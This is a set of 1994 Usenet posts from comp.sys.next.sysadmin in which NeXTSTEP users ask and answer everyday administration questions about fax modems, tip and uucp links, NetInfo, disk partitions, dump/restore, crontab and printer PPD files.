I can do uucp at 9600 baud rate, and fail to bring it up to 38400.
Any suggestions are much appreciated.
Jamie
From: agray@axion.bt.co.uk (Andy Gray)
Newsgroups: comp.sys.next.sysadmin
Subject: Setting up FAX Modems
Date: 1 Mar 1994 10:04:23 GMT
Organization: BT Laboratories
Distribution: world
Message-ID: <2kv3v7$r1d@zaphod.axion.bt.co.uk>
I'm afraid it's another of the 'I bought some kit, how do I set it up' postings
I spend many a happy hour last night with a US Robotics Sportster 14.4 FAX modem
and my NeXTSlab (black). I have no problems with the data modem side of things as
I can call a number of local numbers with different speeds, no problem. Then I
tried to use the FAX :-(
1. I went into the printer driver and selected an Interdata FAX Modem. The
only other choice was a Class-II FAX modem which was linked to the Inter
Data option. When all was done I saw a FaxDaemon process running.
2. Using the print option I configured my office fax number.
3. I selected FAX on the print panel and watched the document appear in the
FAX queue.
4. A large dialog box appeared to say that things were going horribly wrong
and perhaps I would like to bounce the machine. The document was removed
from the queue.
5. Repeated steps 1..4 several times.
6. Hooked the whole package up to a PC. Worked in 5 minutes which included
installing WinFAX Lite and making a cup of tea.
Ideally if done manually the process should be something along the lines of
earthsea$ tip modem
AT
OK
AT+FCLASS=1
OK
~.
Find something to send and send it without altering the modem settings (ie not
sending ATZ) then
earthsea$ tip modem
AT
OK
AT+FCLASS=0
OK
~.
Now we are back in data mode again.
What the &(^(^%$*^$ goes on when it is handled automatically? Is there a
configuration file that needs to be set up so that the fax facility can set up
the modem? Should I place all of the AT commands in the fax directory list?
Also how can I leave the system so that I can receive data or fax calls as this
would mean having the FaxDaemon and a getty on the same port.
Any help gladly received.
Andy Gray
Newsgroups: comp.sys.next.sysadmin
Subject: 2G disks with release 3.2
Message-ID: <1994Mar1.132800.19649@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Tue, 1 Mar 1994 13:28:00 GMT
Sender: news@urz.unibas.ch (USENET News System)
Organization: Institut fuer Informatik
Many excuses if this seems silly:
I am about to purchase a 2G disk for a black NeXT server running 3.2. I
have seen posts claiming that this disk cannot be formated and used as a
single partition. If this is so, what is the largest partition size
supported by release 3.2?
(I can't obtian a test disk as the vendors don't have them in stock.)
Thanks in advance
Robert
--
Institut fuer Informatik tel +41 (0)61 321 99 67
Universitaet Basel fax. +41 (0)61 321 99 15
Robert Frank
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail ok)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
Switzerland
Newsgroups: comp.sys.next.sysadmin
From: richarda@dcs.qmw.ac.uk (Achmatowicz)
Subject: Re: Gateway 2000 4DX2-66V and NSI
Message-ID: <CLzsID.D3z@dcs.qmw.ac.uk>
Sender: usenet@dcs.qmw.ac.uk (Usenet News System)
Organization: Computer Science Dept, QMW, University of London, UK.
References: <CLy409.9rs@dcs.qmw.ac.uk>
Date: Tue, 1 Mar 1994 15:32:36 GMT
Richard Achmatowicz (richarda@dcs.qmw.ac.uk) wrote:
: I have a Gateway 2000 4DX2-66V PC with the following:
: I have a problem in that when the machine is left alone for
: more than 2 hours, the scroll light starts flashing. About
: half an hour later, a Kernel Trap or System Panic occurs,
: without fail.
Problem solved! Gateway 2000 machines with Phoenix 80486
ROM BIOS Plus GJX30G have several 'green PC' features
which reduce power requirements when the PC is not being
used:
CPU Standby Timer: 60 minutes
Hard Disk Off Timer: 15 minutes
Video Standby Timer: 15 minutes
Video Suspend Timer: 30 minutes
Video Off Mode Timer: 30 minutes
NeXT Technical Support informed me that these features
were not properly handled by NeXTStep and should be
disabled. I went into the BIOS panel and disabled them
and my problem disappeared.
Thanks to all who replied to my initial query.
Richard
--
Richard Achmatowicz Internet: richarda@dcs.qmw.ac.uk
Dept. of Computer Science Telephone: +44 71-975 5244
Queen Mary and Westfield College Fax: +44 81-980 6533
University of London
Mile End Road
London E1 4NS
United Kingdom
From: dbora@ils.nwu.edu (Don Bora)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Setting up FAX Modems
Date: 1 Mar 1994 15:13:12 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <2kvm28$cll@anaxagoras.ils.nwu.edu>
References: <2kv3v7$r1d@zaphod.axion.bt.co.uk>
I have the same modem and have the same problem. I have
narrowed it down to the following: The next is looking for
a Class II Faxmodem and the USRobitics Sportster 14.4 Faxmodem
only implements a Class I fax. I believe this is the problem.
If anyone out there can confirm or deny this I would like to hear
it.
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
Donald F. Bora | | |
The Institute for the Learning Sciences | | O |
Northwestern University | (--|--)
Evanston, Ill | |
e-mail: dbora@ils.nwu.edu (Not NeXTMail) | / \
work: (708) 467-1972 |
--------Be excellent to each other--------
From: ramesh@cs.mcgill.ca (Ramesh SOMALINGAM)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Apple Laserwriter Pro 630
Date: 1 Mar 1994 14:14:39 GMT
Organization: SOCS, McGill University, Montreal, Canada
Distribution: world
Message-ID: <2kvikf$cqp@homer.cs.mcgill.ca>
We have a Apple Laserwriter Pro 630 on our network and I'm trying to add
it to netinfo, but I'm unable to find the Printer description file for this
model, does anyone know where I can get the relevant 'ppd' file? Thanks
in advance.
--
Ramesh Somalingam School of Computer Science
Email: ramesh@cs.mcgill.ca McGill University
Tel : (514) 398-5923 Montreal, Canada
From: armes@pioneer.tds.com (Jim Armes)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: tip file-transfer = not
Date: 1 Mar 1994 05:06:04 GMT
Organization: Trident Data Systems
Distribution: world
Message-ID: <2kuifs$fr1@discovery.ectds.com>
References: <2k86uq$b3f@nwfocus.wa.com>
Keywords: tip
In article <2k86uq$b3f@nwfocus.wa.com> shaman@halcyon.com (Russell
Wilcoxon) writes:
> 've finally figured out how to configure /etc/remote to log on using
> tip. All attempts at file-transfer has been thwarted. I'm dialing into
> an HPULTRIX system. Do I need tip to be active on the other system to
> get file transfer? I tried rzsz but true to the documentation it won't
> work with tip or cu.
>
> If I do need to be running tip on the remote then I need to know how
> to get it to recognize the port that I'm calling in on. I need this to
> be a on-demand style of setup.
>
> Thanks for any clues, as I must be clueless right now.
> :-)
> Russell Wilcoxon
> shaman@halcyon.com
>
The best you can do with tip (I think) is to
<login tip>
uuencode files on the host
~t file.uue (take file)
<locally> uudecode file.uue
I don't think tip supports rz/sz passthru, but some of the commercial &
shareware packages should
--
#--------------------------------------------------------#
# Jim Armes | I've got a Pentium and you do not #
# Matrix-Man | nahh nahh nah nah nahhhh... #
# | #
#Trident Data Systems| but IiiiiM a lumberjack and I'm ok#
# armes@ectds.com |I sleep all night & I work all day.#
From: Charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc
Subject: NS 3.2/I and putenv()
Date: Tue, 01 Mar 94 17:32:19 BST
Organization: EUnet GB
Message-ID: <2kvube$pgg@marble.Britain.EU.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Hi -
I'm trying to run make on a makefile, and it keeps telling me the following:
ld: Undefined symbols:
_putenv
*** Exit 1
Stop.
*** Exit 1
Stop.
How can I get NS3.2 for Intel to accept the putenv() call? Thought are very
appreciated.
Charles
charlesa@learned.co.uk
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: compression on DAT drive
Followup-To: comp.sys.next.sysadmin,comp.sys.next.hardware
Date: 1 Mar 1994 17:31:03 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2kvu4n$epq@quartz.ucs.ualberta.ca>
References: <2kur6q$odq@lastactionhero.rs.itd.umich.edu>
One thing: Whenever I buy a peripheral, I try to insist on a full
programmers interface and hardware manual as part of the deal. Most
companies will oblige. The ususal reason they don't do this by default
is that many people are intimidated by a large fat book....
Anyway, I have the HP 35480A DAT drive.
There is a set of dip switches on the bottom of the unit,
On
Off 1 2 3 4 5 ...
S1 S2 Meaning
Off Off Compression disabled, no host control
Off On Compression disabled, host is allowed to control
compression
On Off Compression enabled, no host control
On On Compression enalbed, host is allowed to control
3-8 are used to specify drive connetivity. Contat your HP distributor...
The default for all switches is ON
Hope this helps.
Dan Pritts (danno@css.itd.umich.edu) wrote:
: I've got an HP dat hooked up to a NeXT (not the same one I posted
: about a few weeks ago, still can't get that one to work).
: This drive is a 2G + compression drive, with a theoretical 8G
: capacity.
: I know that on a Sun, I would use a different device number to specify
: that I want to use compression. NeXT does not appear to have such
: a convention.
: Until recently it hasn't been an issue whether compression is happening
: or not; lately my level zero dumps are getting over 2G.
: I'm also, perhaps coincidentally, beginning to get write errors at
: seemingly random, but usually pretty far into, i think >2G, my dumps.
: I'm wondering how I tell whether or not compression is happening, and
: how to enable or disable it as I want if that's possible.
: i'm running 3.2 on a cube.
: danno
: --
: dan pritts consultant/system administrator
: dan.pritts@umich.edu um itd/us unix support group
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Need help with crontab and shell script
Date: 1 Mar 1994 17:39:47 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2kvul3$epq@quartz.ucs.ualberta.ca>
References: <pwang.37.003DE1C9@microimmun.medsch.ucla.edu>
Peter Wang (pwang@microimmun.medsch.ucla.edu) wrote:
: Hi, Next experts out there. I need some help in using crontab with my next
: (black) machine. Here's the procedure that I want to automate and execute at
: a specific time:
: 1. attache and login to a netware server.
: 2. tar and compress a directory over to the server.
: 3. logout and detache from the netware server.
: I basically know how to write a shell script to do step 2 but don't know about
: anything that would do things in steps 1 and 3. I also don't know much about
: the Next crontab entries. Although it looks like a standard unix crontab file,
: I don't really know what application I should run to modify it. Is it ok to
: edit it directly using vi?
Yeah. BSD crontab, you just edit it. cron checks the time stamp on the
file, and re-reads it if it;s changed.
As to the other problem, I would suggest writing a script in either perl
or tcl. Either of these makes it much easier to handle the timeing and
text filtering needed to send the right thing at the right time.
: Any help would be greatly appreciated.
: Peter
: pwang@microimmun.medsch.ucla.edu
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Q: dump - restore pipe and suid bits bug in 3.2
Date: 1 Mar 1994 17:48:39 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2kvv5n$epq@quartz.ucs.ualberta.ca>
References: <2ktbkr$npo@nntp2.Stanford.EDU>
Hmm. Interesting.
I just did such a clone operation, without a problem.
1. Do a full dump from machine with disk. (Paranoia: Do it twice)
2. Put new disk in.
3. Boot of a 2.1 floppy.
4. Run newfs from floppy on new drive.
5. Mount the new drive.
6. Cd to the mount point.
7. Run restore -r
Note: This is the 2.1 version of restore. Don't know that this makes a
difference or not.
8. Run disk and put a copy of /usr/standalone/boot. This does NOT
work if you use the 2.1 version of boot. So my 2.1 bootflopy has a copy
called boot3, and disk allows you to specify what boot file to put in
place.
Maybe I didn't have a problem because everything ws done in
single user...
Fernando Pablo Lopez Lezcano (nando@ccrma.stanford.edu) wrote:
: Is there a workaround for the suid bits bug in restore (3.2)? I'm trying
: to clone a bootable disk to replace it with a bigger one but the
: suggestion I read on the Net about mounting the destination disk with the
: suid option did not work for me. Restore is still refusing to restore the
: suid bits...
: Before trying the suid mount option all I was getting was a core dump or
: bus error after a "changing volumes in input pipe?" error message... :-(
: Thanks in advance for any help.
: -- Fernando
: nando@ccrma.stanford.edu
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: tip file-transfer = not
Date: 1 Mar 1994 17:53:19 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Distribution: world
Message-ID: <2kvvef$epq@quartz.ucs.ualberta.ca>
References: <2k86uq$b3f@nwfocus.wa.com> <2kuifs$fr1@discovery.ectds.com>
: In article <2k86uq$b3f@nwfocus.wa.com> shaman@halcyon.com (Russell
: Wilcoxon) writes:
: > 've finally figured out how to configure /etc/remote to log on using
: > tip. All attempts at file-transfer has been thwarted. I'm dialing into
: > an HPULTRIX system. Do I need tip to be active on the other system to
: > get file transfer? I tried rzsz but true to the documentation it won't
: > work with tip or cu.
: >
: > If I do need to be running tip on the remote then I need to know how
: > to get it to recognize the port that I'm calling in on. I need this to
: > be a on-demand style of setup.
: >
: > Thanks for any clues, as I must be clueless right now.
: > :-)
: > Russell Wilcoxon
: > shaman@halcyon.com
: >
I spend some time with tip, and all I got was frustrated. Kermit is
quite usable however, especially if you set the packet size to something
reasonable (2048) and give it multiple windows.
Of course this requires some cooperation from the sysadmin on the HP end
to get kermit there too.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: uucp at 38400 ?
Date: 1 Mar 1994 18:04:23 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2l0037$epq@quartz.ucs.ualberta.ca>
References: <9403010904.AA02233@tpts1.seed.net.tw>
This may be of help:
When DFax installs, it creats a new gettytab entry:
I|DFAX384|Lock-Dial-38400:\
:to#30:nx=DFAX384:sp#38400:ap:p8:
Translated:
:to#30 Timeout 30 seconds
:nx=DFAX384 If it fails to lock, try it again.
:sp#38400 Speed
:ap Other end uses any parity.
:p8 Pass 8 bit data.
Now, there's nothing special about any of this.
The next thing to do is to paw through your modem manual.
There are several types of connections. Unfortunatly while the 14.4K
modems are fairly agreeable about protocols, they don't agree on command
sets. So the commands to set the modem are different with different
brands.
A direct connection means that the computer to modem rate and
the modem to modem rate must be the same.
A reliable/autoreliable/MNP/L-APM connection lets the modems
negotiate the best rate they can.
Most modems have settings that you can select what sort of
connection you will accept.
So read the modem manual, and experiment. Once you've found the
settings you want, load it into one of the storeable configurations on
the modem.
: I have communcation hardware of both sides as below,
: NeXTstation Turbo(B/W)
: Zyxel 1496E
: I can do uucp at 9600 baud rate, and fail to bring it up to 38400.
: Any suggestions are much appreciated.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: Mark G. Tacchi
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 2G disks with release 3.2
Date: 1 Mar 1994 18:54:53 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <2l031t$h7o@rosie.next.com>
References: <1994Mar1.132800.19649@urz.unibas.ch>
In article <1994Mar1.132800.19649@urz.unibas.ch> writes:
> I am about to purchase a 2G disk for a black NeXT server running 3.2. I
> have seen posts claiming that this disk cannot be formated and used as a
> single partition. If this is so, what is the largest partition size
> supported by release 3.2?
The maximum size for a Unix partition is 2^31 bytes or 2Gb. Disks larger than
2Gb must be partitioned.
-Mark
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Disabled my sendmail.cf with NetWare?
Message-ID: <1994Mar1.155244.2248@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2krval$jie@access1.digex.net>
Date: Tue, 1 Mar 1994 15:52:44 GMT
Here are some suggestions:
1. It's possible that the sendmail configuration file location in
NetInfo was changed. Launch NetInfoManager and look at
/locations/sendmail.
2. It's also possible that the sendmail configuration file location on
the filesystem was changed. Look at /etc/sendmail/sendmail.cf
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2krval$jie@access1.digex.net> hacker@access1.digex.net
(Dark Hacker) writes:
> Well here's a weird one. A friend of mine and I tried to hook up an
> IBM PC+ethernet board to my NeXT today with the PC side running KA9Q.
> We failed to get the two machines talking, but that's not really the
> problem. Let me describe what happened...
>
> We installed the ethernet board in the PC, booted the NeXT with the
two
> machines connected via thinnet, got the expected "your net is
disabled
> please hit 'c'" message on the NeXT and used SimpleNetStarter.app/
> NetInfoManager.app to set up the connection. For grins we tried
turning
> on NetWare to see if the NeXT side implimented the server side of
NetWare.
>
> Well after experimenting with the two machines we packed up but now
> NeXTMail is refusing to deliver my mail via UUCP. Everything else
seems
> to work but somehow I managed to break NeXTMail so that all non-local
> mail generates return mail with the following message:
>
> Could not deliver mail to:
> joe_hacker@big-machine.nasa.gov (ddn) Authoritative name server
> did not recognize host)
>
> This mail returns almost immediately which tells me the error is
> definately in the NeXT because the only other net connection I
> have is a uucp link that only calls out periodically. So....
> NetInfoManager somehow messed up the net info. I do notice
> that all of the attributes for smtp, uucp, etc have been set to
> tcp. Hmmmmmmm.... but maybe some of those should be UUCP. Sigh.
>
> Anyone know what I should do here? Go back by hand and change some
> of those tcp attribues back to uucp? Which ones? Or some magic
> switch? I did try using HostSetupManager.app (something like that)
> and it corresponds exactly to what the local host setup should look
> like in my old vintage 2.1 manuals.
>
> I've tried this with the terminated ethernet cable plugged into the
> back and with it unplugged. Same results.
>
> Appreciate some advice via email....
>
> - Hacker
> --
> Dark Hacker @ Black Silicon, Fortress Of Computation
> hacker@black-silicon.mclean.va.us
>
> "Life itself is... COMPUTATION!"
From: gguelden@ixpoint.de
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HP LaserJet 4mSIx Duplex PPD
Date: 1 Mar 1994 20:34:31 GMT
Organization: iXpoint Informationssysteme GmbH, Waldbronn, Germany
Distribution: world
Message-ID: <2l08sn$ltb@balu.ixpoint.de>
References: <2kgla8$g0@fermat.mayo.edu>
In article <2kgla8$g0@fermat.mayo.edu> brunkhorst@mayo.edu writes:
> Anybody have one?
>
> The shipped 3.2 HP4 driver doesn't support the duplexing option.
> I looked at the PPD code differences between the IIIsiX duplex
> and the HP4 and thought better of hand crufting a 'patch' before
> I asked the net if one exists. Ftp.adobe.com doesn't have one,
> and the HP people I call don't know the difference between a
> PPD file and a windows driver.
>
> ---
Sorry, not the answer you expected, but the best idea is using
QMS-Printers (i.e. PS-1725) instead of HP. They do all, what you need (and
a lot more).
Gerd
++++++++++++++++++++++++++++++++++++++++++++++++++
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc
Subject: Re: NS 3.2/I and putenv()
Date: 1 Mar 1994 21:26:39 -0000
Organization: me organized? That's a joke!
Message-ID: <2l0buf$1jo@steffi.demon.co.uk>
References: <2kvube$pgg@marble.britain.eu.net>
Charlesa@learned.co.uk wrote in comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc
>
>Hi -
>
>I'm trying to run make on a makefile, and it keeps telling me the following:
>
>ld: Undefined symbols:
>_putenv
>*** Exit 1
>Stop.
>*** Exit 1
>Stop.
>
>
>How can I get NS3.2 for Intel to accept the putenv() call? Thought are very
>appreciated.
>
>Charles
>charlesa@learned.co.uk
What a shame we didn't get to see what he was compiling.
Well here we go again with another putenv flame ware.
Mr EPS please step forward, wait for it wait for it :-)
To the poster, if nobody sends you a putenv then get in touch.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: dwells@world.std.com (David Wells)
Subject: Help! Routing info for slip?
Message-ID: <CM0Mv2.Lu2@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
Date: Wed, 2 Mar 1994 02:28:13 GMT
Hi all,
I'm hoping this works...'vi' hates me...
Anyway, I'm trying to connect my NeXT/unix box to the net via tiac via slip.
I'm able to get connectied and use ping and finger, but the interactive
utilities like ftp and telnet don't work after the 'connected to foo.bar.edu'
message. Lynn at tiac thinks this is a routing problem, and I'm inclined to agr
ee with her from what little I know about networking. Problem is, I don't
know how to fix this. If anyone has suggestions, I'd love to hear them. Thanks
in advance. Peace,
Dave
From: dhoyman@sparky.fammed.wisc.edu (Dirk Herr-Hoyman)
Newsgroups: comp.sys.next.sysadmin
Subject: FTP login umask setting
Date: 2 Mar 1994 02:50:22 GMT
Organization: Division of Information Technology
Message-ID: <2l0ute$l6v@news.doit.wisc.edu>
I would like to let users ftp files to various places (GopherSpace) on a
NS 3.1 system, however I can't seem to control the file permissions.
Every new file is created with a 755 mode, which isn't going to work
for multiple users in the same group.
I thought that this could be controled by setting umask in one of the
login scripts, either .login or .profile, but neither has any effect for
ftp access. The accounts have a default shell of csh.
Any thoughts on how can control this? I know it's going thru ftpd, but
the man page is unhelpful on this point.
--
Dirk Herr-Hoyman
University of Wisconsin Medical School
Dept. of Family Medicine and Practice
dhoyman@fammed.wisc.edu
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Apple Laserwriter Pro 630
Date: 2 Mar 1994 04:05:01 GMT
Organization: San Francisco State University
Message-ID: <2l139d$hfh@nic-nac.CSU.net>
References: <2kvikf$cqp@homer.cs.mcgill.ca>
[Inappropriate crossposting removed]
In article <2kvikf$cqp@homer.cs.mcgill.ca> ramesh@cs.mcgill.ca
(Ramesh SOMALINGAM) writes:
>We have a Apple Laserwriter Pro 630 on our network and I'm trying to add
>it to netinfo, but I'm unable to find the Printer description file for this
>model, does anyone know where I can get the relevant 'ppd' file?
Anonymous FTP from ftp.adobe.com: pub/adobe/PPDFiles/APTOLLW1.PPD
-=EPS=-
From: crawford@nesteggs.com (Michael E. Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: RE: netinfo server name change
Date: 1 Mar 1994 22:19:20 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9403020405.AA01298@nesteggs.com>
After I wrote all this I read Rob Francis' able reply to Mark
Dornfeld situation. He even uses UNIX commands ;-], an act I
circumambulate at every opportunity. His answer however, addresses
the solution of moving the netinfo server to another host.
(The astute will also notice we both "fire up" NetInfoManager)
This answer changes the existing configuration server's hostname.
If you enjoy tightrope walking, you'll love this.
So far, I've done it thrice with no problem.
First,
Make copies of your hostconfig file & netinfo folder so you can
restore your local & network nidb's if something goes seriously awry.
Then,
Fire up NetInfoManager.app.
Go through each directory in the network domain & the host's local
domain and find every, I said every incidence of your host's
hostname.
Be thorough. (e.g. double-click on the / in the network domain)
Now in each directory, change the old hostname to the new one you
prefer.
If this whole affair makes you squeamish, start with lesser areas
such as mounts & exports, and move up to the more serious, like the
machines entry & the master property for the network.
Be sure to hit return for each change & save each directory window.
Confident everything's changed?
What about /etc/hostconfig?
That's kinda crucial - change the hostname entry there as well.
Quit NetInfoManager.
Reboot.
It's a new day.
Please stay away from SimpleNetworkStarter unless you have a brand
new operating system. Then, it works great; only then.
Michael Crawford
nesteggs
Houston
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: sending mail to a machine that is dynamically addressed
In-Reply-To: mehta-anand@yale.edu's message of Tue, 1 Mar 1994 05:08:31 GMT
To: mehta-anand@yale.edu
Message-ID: <CEDMAN.94Mar1091608@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1994Mar1.050831.28077@news.yale.edu>
Date: Tue, 1 Mar 1994 14:16:07 GMT
In article <1994Mar1.050831.28077@news.yale.edu> mehta-anand@yale.edu writes:
All help is appreciated. I realize that I should use POP or IMAP, but I
would like to try a cludge with a changing .forward file every time I SLIP
in. Since this is once a day for most of the day, it would be convenient
to have mail appear directly on my machine (since we don't have a pop
server on the ethernetted machine).
No, you should make your admin switch from dynamic to static IP
address assignment for SLIP users. Forgive me if I repeat myself but
dynamic assignment is *EVIL*.
Carl Edman
PS: And that is just the beginning, Garance.
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.advocacy
Subject: Edit-only NetInfo mode needed (Re: netinfo server name change)
Date: 2 Mar 1994 06:54:02 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2l1d6a$oor@agate.berkeley.edu>
References: <9403020405.AA01298@nesteggs.com>
Keywords: NetInfo
In article <9403020405.AA01298@nesteggs.com> crawford@nesteggs.com (Michael E. Crawford) writes:
>After I wrote all this I read Rob Francis' able reply to Mark
>Dornfeld situation. He even uses UNIX commands ;-], an act I
>circumambulate at every opportunity. His answer however, addresses
>the solution of moving the netinfo server to another host.
>(The astute will also notice we both "fire up" NetInfoManager)
>This answer changes the existing configuration server's hostname.
>
>If you enjoy tightrope walking, you'll love this.
>So far, I've done it thrice with no problem.
The real problem with NetInfo is the lack of *edit-only* mode which
allows editing of a database without that database actually used
to serve any queries (other than the app that is doing the edit).
As it stands, in order to edit a NetInfo databases, that database
must be actively serving a domain. This is really stupid, almost
like tamparing with code of an executing program. One wrong move,
and the whole net can come down.
There is a way to do NetInfo editing safely by starting a separate
netinfod on a renamed database, and open domains by 'tag', but
this process is complicated, and cannot be done solely from
GUI apps.
NetInfoMa####################################################################
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Q: dump - restore pipe and suid bits bug in 3.2
Date: 2 Mar 94 10:23:06 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.762603786@info2.rus.uni-stuttgart.de>
References: <2ktbkr$npo@nntp2.Stanford.EDU> <2kvv5n$epq@quartz.ucs.ualberta.ca>
sherwood@fenris.space.ualberta.ca (Sherwood Botsford) writes:
>3. Boot of a 2.1 floppy.
No good idea if you run NS on Intel :-(
>Note: This is the 2.1 version of restore. Don't know that this makes a
>difference or not.
This makes a big difference. The suid/sgid-bit decay is a feature that
was introduced first in 3.2!
Regards,
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
Newsgroups: comp.sys.next.sysadmin
From: Matthias Rosenberger
Subject: Re: AppleTalk under NS 3.2 (Moto)?
Message-ID: <1994Mar2.113151.24972@news.lrz-muenchen.de>
Sender: news@news.lrz-muenchen.de (Mr. News)
Organization: Leibniz-Rechenzentrum, Muenchen (Germany)
References: <stanCLp0JD.Iru@netcom.com>
Date: Wed, 2 Mar 1994 11:31:51 GMT
In article <stanCLp0JD.Iru@netcom.com> stan@netcom.com (Stanley Perkins) writes:
> I just upgraded my NS Color to NS 3.2. Unfortunately,
> it seems as though AppleTalk is no longer supported.
> When I use the AppleTalk package from 3.0, my system
> hangs at shutdown, necessitating fsck at every bootup,
> and finding a few unreferenced files, etc.
>
> Is there AppleTalk support (or a workaround) for NS 3.2
> for Motorola? How can I get the necessary software?
If have no problems - besides the bugs already known in NS 3.0 -
running AppleTalk after having upgraded to NS 3.2. But for the
printers you have to use NS 3.0 PrintManager!
--
Matthias Rosenberger, Walter Schottky Institut, TU Muenchen
email: matthias@macnet.wsi.physik.tu-muenchen.de
(NeXTmail wellcome)
From: arneha@ifi.uio.no (Arne Christian Haarseth)
Newsgroups: comp.sys.next.sysadmin
Subject: Accentcharacters in Terminal
Date: 2 Mar 1994 12:36:22 +0100
Organization: Dept. of Informatics, University of Oslo, Norway
Message-ID: <2l1tnm$cse@dyggve.ifi.uio.no>
How do I get the accentcharacter-keys to work in Terminal (they produce
alphabetic-letters in stead. I suspect it might be so because Terminal
is running in 7-bit mode, so then how do I get Terminal to run in
8-bit mode ?) ?
(I need to produce "~" and "^" in Emacs, and when using tip to log into a
Unixsystem that can handle commands like "cd ~user").
Arne (arneha@ifi.uio.no)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: TransSys-PNI-1.7-beta.tar.gz questions.
Date: 2 Mar 1994 13:23:55 -0000
Organization: me organized? That's a joke!
Message-ID: <2l241b$19n@steffi.demon.co.uk>
Well I've managed to get this working under NS3.1 Surprisingly
simple. However I have the following concerns.
1. In this release are _you_ able to control when the link is brought
up?
Currently, "pnistat -c down" will bring the connection down but the
connection is brought up under the following conditions.
1. automatically at boot from pnirun
2. periodically once the demon is installed, it persists in
attempting to make a connection (regardless if packets are sent or not
because Dial On Demand isn't implemented yet)
When this happens I get this on the console.
/dev/pni0 is unused
and then it immediately attempts to bring up the connection.
I suspect that this has something to do with it.
pnid.tcl
# start off the periodic polling function
periodic_poll
init.tcl
proc periodic_poll { } {
static firsttime
global startTime encapList
foreach encap $encapList {
if [known ${encap}_poll] {
${encap}_poll $encap
}
}
set curtime [getclock]
set uptime [expr $curtime-$startTime]
set rusage [getrusage]
syslog LOG_INFO "Uptime is [ptime $uptime] (since [strftime -utc $startTime]
UTC)"
syslog LOG_DEBUG "[info cmdcount] TCL commands executed, [lindex $rusage 0]
user, [lindex $rusage 1] system"
if { [info exists firsttime]==0 } {
schedule 120 {periodic_poll}
set firsttime 1
} else {
schedule 3600 {periodic_poll}
}
}
It would appear to me that things have changed a little since dialupip.
ie. there's no "daemon" per se that act's on commands.
Rather pnirun is used to bring up the connection, which is conditionally based
on what you configure in the TCL initialization scripts.
